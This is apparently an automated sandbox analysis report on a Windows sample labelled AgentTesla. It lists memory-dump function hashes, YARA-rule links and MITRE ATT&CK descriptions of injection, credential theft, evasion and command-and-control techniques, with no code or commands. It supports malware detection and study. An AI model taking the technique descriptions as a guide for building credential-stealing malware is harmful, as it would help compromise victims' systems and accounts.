Instruction ID: 003f9af06c4ba08e93d9277ec39740e19467c4b6a1fe7b581d883902815c60d4
Opcode Fuzzy Hash: 6ff2ec95d0fb931dae9a49b2772d72611f1bd744636810fb5932b7b5d969e964
Instruction Fuzzy Hash: FEE01236F045198FCF48EBF8D49599CF3F1BFC85247118165E519EB254EE329E118B21

Uniqueness

Uniqueness Score: -1.00%

Function 012E3313, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32226827595.00000000012E0000.00000040.00000001.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 220a334054c28219465385f6657291e4670e8d0ceb87d95055c6e364976da9bf
Instruction ID: 71726186cdade186d4455c073fb94fcd8617e10bc052b9e2ae072fa7e7610c04
Opcode Fuzzy Hash: 220a334054c28219465385f6657291e4670e8d0ceb87d95055c6e364976da9bf
Instruction Fuzzy Hash: 99E0DFB29103406BD6209F06AC46F63FB98EB80A30F08C56BED085F302E172B514CAE5

Uniqueness

Uniqueness Score: -1.00%

Function 012E3A67, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32226827595.00000000012E0000.00000040.00000001.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c2c48b00de2557834052e354cfab4373b84f6fb938700fa6a2306ceed17c603
Instruction ID: ad4acca774a19c5768d46ab5b83a2530bd449dbdc99970f45b7d07ea59b52eda
Opcode Fuzzy Hash: 5c2c48b00de2557834052e354cfab4373b84f6fb938700fa6a2306ceed17c603
Instruction Fuzzy Hash: 83E0DFB29413406BD7209F06AC46F63FB98EB80A31F08C56BED085F302E172B5148AE5

Uniqueness

Uniqueness Score: -1.00%

Function 012E38EF, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32226827595.00000000012E0000.00000040.00000001.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fdc40ff9422498695b7ce5133c2f5a1d391dc311a372e19598cffe530301235
Instruction ID: 210a39f2ea3bda2e5d0269922927b1b7640910d9ef47eacc0d805d05797711eb
Opcode Fuzzy Hash: 2fdc40ff9422498695b7ce5133c2f5a1d391dc311a372e19598cffe530301235
Instruction Fuzzy Hash: CCE0D8B250034467D6509F069C45F53FB98DB80A30F08C56BED095F302E172B50489F5

Uniqueness

Uniqueness Score: -1.00%

Function 1E4523F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32236658619.000000001E452000.00000040.00000001.sdmp, Offset: 1E452000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e452000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83d9fe00283fc00a38054bd0a95e3d317d7701cfb3f3e226c670f8f98e5a2b69
Instruction ID: 3cfeb03acb78e936349b94c9b3bf0e0a2326f018c2c7d032edb3dbb1c714311b
Opcode Fuzzy Hash: 83d9fe00283fc00a38054bd0a95e3d317d7701cfb3f3e226c670f8f98e5a2b69
Instruction Fuzzy Hash: 01D05E79605AD18FD3028B18C1B0BA537E4AF52B14F4244FBA8008B7B3C768D981D200

Uniqueness

Uniqueness Score: -1.00%

Function 1E4523BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32236658619.000000001E452000.00000040.00000001.sdmp, Offset: 1E452000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e452000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca20c9fdb70add087c123109d5803931d9007e482fe9f4212c8fa9c2606f1d3c
Instruction ID: 24c41f6e20ee5d5d3db540ec6265f08480c2cca2f0058a39703b249fa72b600a
Opcode Fuzzy Hash: ca20c9fdb70add087c123109d5803931d9007e482fe9f4212c8fa9c2606f1d3c
Instruction Fuzzy Hash: 33D05E346006814BDB11CB18C2E0F5973E4AF40B00F0244EABC018B3A2C3B8D880D600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 1E452ADD, Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

3q-, xrefs: 1E452C9D

Memory Dump Source

Source File: 00000004.00000002.32236658619.000000001E452000.00000040.00000001.sdmp, Offset: 1E452000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e452000_RegAsm.jbxd

Similarity

API ID:
String ID: 3q-
API String ID: 0-2738125084
Opcode ID: decff145d6331db67ba553b60438bfee8316e7175a25864f3f874024efb2c251
Instruction ID: e331f68d566633e31d14b614a796c4100f5e4c5dc31904df844ae3c4bacf8b60
Opcode Fuzzy Hash: decff145d6331db67ba553b60438bfee8316e7175a25864f3f874024efb2c251
Instruction Fuzzy Hash: D4A1CD6A41E7C56FD7034F3488642827F709E13A58B5E06CFE4C1CF6A3E95A490BC7A6

Uniqueness

Uniqueness Score: -1.00%

Function 1E452B4A, Relevance: 1.4, Strings: 1, Instructions: 197COMMON

Download Yara Rule

Strings

3q-, xrefs: 1E452C9D

Memory Dump Source

Source File: 00000004.00000002.32236658619.000000001E452000.00000040.00000001.sdmp, Offset: 1E452000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e452000_RegAsm.jbxd

Similarity

API ID:
String ID: 3q-
API String ID: 0-2738125084
Opcode ID: a0fb987d03b4324ea5f4011f81d97ee66c3545ec083a1a6fb8d129110cf2720d
Instruction ID: 2f8a06f003f6d7b471b6032e9e95a4d5150b3b9b1dba2d5fed8bc5bf535bb965
Opcode Fuzzy Hash: a0fb987d03b4324ea5f4011f81d97ee66c3545ec083a1a6fb8d129110cf2720d
Instruction Fuzzy Hash: 3E619B6941E7C15FE3134F3498642857F709F13A58B1E06CFE4D18F6A3DA5A480BCBA6

Uniqueness

Uniqueness Score: -1.00%

Function 1E452BC1, Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

3q-, xrefs: 1E452C9D

Memory Dump Source

Source File: 00000004.00000002.32236658619.000000001E452000.00000040.00000001.sdmp, Offset: 1E452000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e452000_RegAsm.jbxd

Similarity

API ID:
String ID: 3q-
API String ID: 0-2738125084
Opcode ID: bcb7de6cbb641a7f2029381a0430e7d187f808e6e0833acc079c03eac723ff50
Instruction ID: 49065ab51c6d1cda8dfb4fee568b6a5d012fe8594dd673e30f9e72df0036d32d
Opcode Fuzzy Hash: bcb7de6cbb641a7f2029381a0430e7d187f808e6e0833acc079c03eac723ff50
Instruction Fuzzy Hash: 1151E06941E7C16FE3034B3498642827FB09F13658B1E41CFE8C5CF6A3E55A480BDBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0133C58B, Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32226956768.000000000133C000.00000040.00000001.sdmp, Offset: 0133C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_133c000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 704378e9a4e4c4f3fe2e22e0bb2a42d20f1e913bfae72a4901befab89ef638bc
Instruction ID: dae03e02990c7525ee34def9010db553866eb61291f6b16a5dfea70e799676d1
Opcode Fuzzy Hash: 704378e9a4e4c4f3fe2e22e0bb2a42d20f1e913bfae72a4901befab89ef638bc
Instruction Fuzzy Hash: AB31D63125C1928FC707CE2CCC84A9DBB5A6FD653978E92AEC0809F647C350D455E3D9

Uniqueness

Uniqueness Score: -1.00%

Function 1D21C648, Relevance: 7.7, Strings: 6, Instructions: 228COMMON

Download Yara Rule

Strings

\OWq, xrefs: 1D21C6E1
\OWq, xrefs: 1D21C774
\OWq, xrefs: 1D21C6D5
^O5q, xrefs: 1D21C795
^O5q, xrefs: 1D21C877
_5q, xrefs: 1D21C686

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID: \OWq$\OWq$\OWq$^O5q$^O5q$_5q
API String ID: 0-799449749
Opcode ID: 82b30a8bf6df3c41bbc9c73aa2b9df0a6547267e16c9903f24acae624c7e1f40
Instruction ID: 92403940ae6f30e376e02a883e8329d3e3405c3be52f65be116979a8342b46a2
Opcode Fuzzy Hash: 82b30a8bf6df3c41bbc9c73aa2b9df0a6547267e16c9903f24acae624c7e1f40
Instruction Fuzzy Hash: 5781DD38B012459BEB18DB75C884B6EBAE3AFC4704F25C42EE11AAF394DF71AC419751

Uniqueness

Uniqueness Score: -1.00%

Function 1D2159A7, Relevance: 5.3, Strings: 4, Instructions: 286COMMON

Download Yara Rule

Strings

_5q, xrefs: 1D215C68
:@0q, xrefs: 1D215A3D
_5q, xrefs: 1D215CCD
_5q, xrefs: 1D215C9A

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID: :@0q$_5q$_5q$_5q
API String ID: 0-1663103580
Opcode ID: 5dbeaa2a3fd9b874f078ac21351db3886b97648502800549867300d7d044e38e
Instruction ID: 71dde7ffc441967858f7cf5776b92c2b489346f42fcd161b300f4309a55c1c49
Opcode Fuzzy Hash: 5dbeaa2a3fd9b874f078ac21351db3886b97648502800549867300d7d044e38e
Instruction Fuzzy Hash: 55B14930E00256CFCB44DB64C494A9DBBF2BF84314F29C5AAD419AB395DB36EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report ejecutable.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Sigma Overview

Networking:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Function 00412E10, Relevance: 75.6, APIs: 39, Strings: 4, Instructions: 329
COMMON

Function 004012C8, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14
COMMON

Function 004135D0, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 74
COMMON

Function 004132C0, Relevance: 12.1, APIs: 8, Instructions: 99
COMMON

Function 00413440, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41
COMMON

Function 00413500, Relevance: 6.1, APIs: 4, Instructions: 53
COMMON

Function 1D21BAF4, Relevance: 21.9, Strings: 17, Instructions: 679
COMMON

Function 1D219B80, Relevance: 18.3, Strings: 14, Instructions: 829
COMMON

Function 1D21D748, Relevance: 14.3, Strings: 11, Instructions: 521
COMMON

Function 2092EE38, Relevance: 12.8, Strings: 10, Instructions: 323
COMMON

Function 017612A0, Relevance: 9.2, Strings: 7, Instructions: 409
COMMON

Function 01761870, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 155
libraryCOMMON

Function 1D21DF6C, Relevance: 6.4, Strings: 4, Instructions: 1441
COMMON

Function 1D214F80, Relevance: 4.3, Strings: 3, Instructions: 596
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre